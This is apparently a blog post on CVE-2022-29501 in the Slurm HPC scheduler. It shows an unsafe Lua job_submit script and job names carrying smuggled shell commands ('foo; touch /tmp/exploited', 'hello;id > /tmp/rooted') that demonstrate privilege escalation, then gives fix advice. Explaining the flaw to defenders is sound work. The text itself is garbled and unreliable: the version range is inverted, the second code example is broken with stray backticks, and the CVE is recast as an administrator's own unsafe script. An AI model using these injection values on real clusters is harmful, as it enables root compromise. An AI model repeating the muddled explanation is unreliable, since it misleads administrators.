If you’re running High Performance Computing (HPC) clusters, there’s a good chance you’re using Slurm, the open-source workload manager developed by SchedMD. In 2022, a serious vulnerability was found in several Slurm versions — a bug that let regular users become root or execute unauthorized code. In this post, you’ll learn what CVE-2022-29501 is, why it’s dangerous, and how attackers can exploit it. We’ll break it down in clear terms and show exclusive code snippets so you can better understand what’s at stake.

What is CVE-2022-29501?

CVE-2022-29501 is an "Incorrect Access Control" vulnerability in SchedMD Slurm 21.08.x up to 20.11.x. Basically, there’s a bug in Slurm’s job_submit/lua plugin evaluation that allows a regular user to get root-like privileges on the compute nodes. The root cause is that Slurm doesn’t properly restrict what users can do when certain scripts or plugins are configured in a weak way.

If an attacker submits a job, they can use this bug to run arbitrary shell scripts as the slurm or root user, potentially taking over nodes or even the entire cluster.

A Simple Breakdown: How the Bug Happens

Slurm lets administrators write "job_submit" scripts in Lua to check or modify jobs as they’re submitted. These scripts are a powerful way for cluster admins to enforce policies. The problem is that these scripts can access job submission parameters, and there’s a code path that fails to check privileges before calling user-controlled data.

So, if a non-privileged user submits a job that, intentionally or not, exploits the bug, the slurmctld (the Slurm controller) could end up running code as slurm or root.

20.11.x up to 21.08.x (patched in 21.08.8 and 20.11.9)

- Systems using job_submit/lua or potentially other scripts/plugins

Don’t know your version? Run

$ scontrol --version
slurm 21.08.6

If you get anything less than 21.08.8 (or 20.11.9 on old LTS), you’re vulnerable.

Let’s suppose the job_submit.lua looks like this

function slurm_job_submit(job_desc, part_list, submit_uid)
    -- insecure: passing user name to a shell command
    os.execute("/usr/local/bin/check_user.sh " .. job_desc.user_name)
    return slurm.SUCCESS
end

If you, as a user, set your username to something like

$(touch /tmp/pwned)

or submit a job name including shell metacharacters, the os.execute call could run arbitrary shell commands.

You could submit a job with a dangerous name

sbatch --job-name="foo; touch /tmp/exploited" myscript.sh

If the Lua script is not careful, /tmp/exploited will be created — proving code execution as slurm or root!

Why This Happens

The main security error is not sanitizing user inputs before passing them to shell commands via Lua’s os.execute() (or similar calls). The Slurm controller runs as a privileged user, so “trusted” Lua scripts can escalate untrusted user data.

- CVE-2022-29501 at NVD
- SchedMD's Security Advisory
- Upstream Patch Commit
- Slurm job_submit Lua documentation

function slurm_job_submit(job_desc, part_list, submit_uid)

local cmd = "echo " .. job_desc.job_name .. " >> /tmp/slurm_jobs"

`bash

sbatch --job-name="hello;id > /tmp/rooted" --wrap "/bin/true"

`sh

echo hello;id > /tmp/rooted >> /tmp/slurm_jobs

`

Instead of just echoing the job name, it also runs id > /tmp/rooted as slurm or root!

Mission accomplished: privilege escalation.

## How To Fix / Protect Your Cluster

Upgrade Slurm immediately
Make sure you’re running Slurm 21.08.8 or newer, or 20.11.9 if you’re on LTS.

Never pass user inputs directly to shell commands.

- Use safe APIs/libraries or sanitize inputs if you absolutely must run shell scripts.

Audit your job_submit scripts

Look for os.execute() and similar code. Make sure no untrusted inputs can reach the shell.

Conclusion

CVE-2022-29501 is a classic example of how small oversights in scripting and input validation can open massive holes in even highly technical systems like Slurm. If your cluster runs unpatched Slurm and has custom job submission scripts, drop what you’re doing and fix it!

For more details, check out the full patch, the Slurm security mailing list, and always review scripts carefully.

Timeline

Published on: 05/05/2022 17:15:00 UTC
Last modified on: 06/20/2022 21:15:00 UTC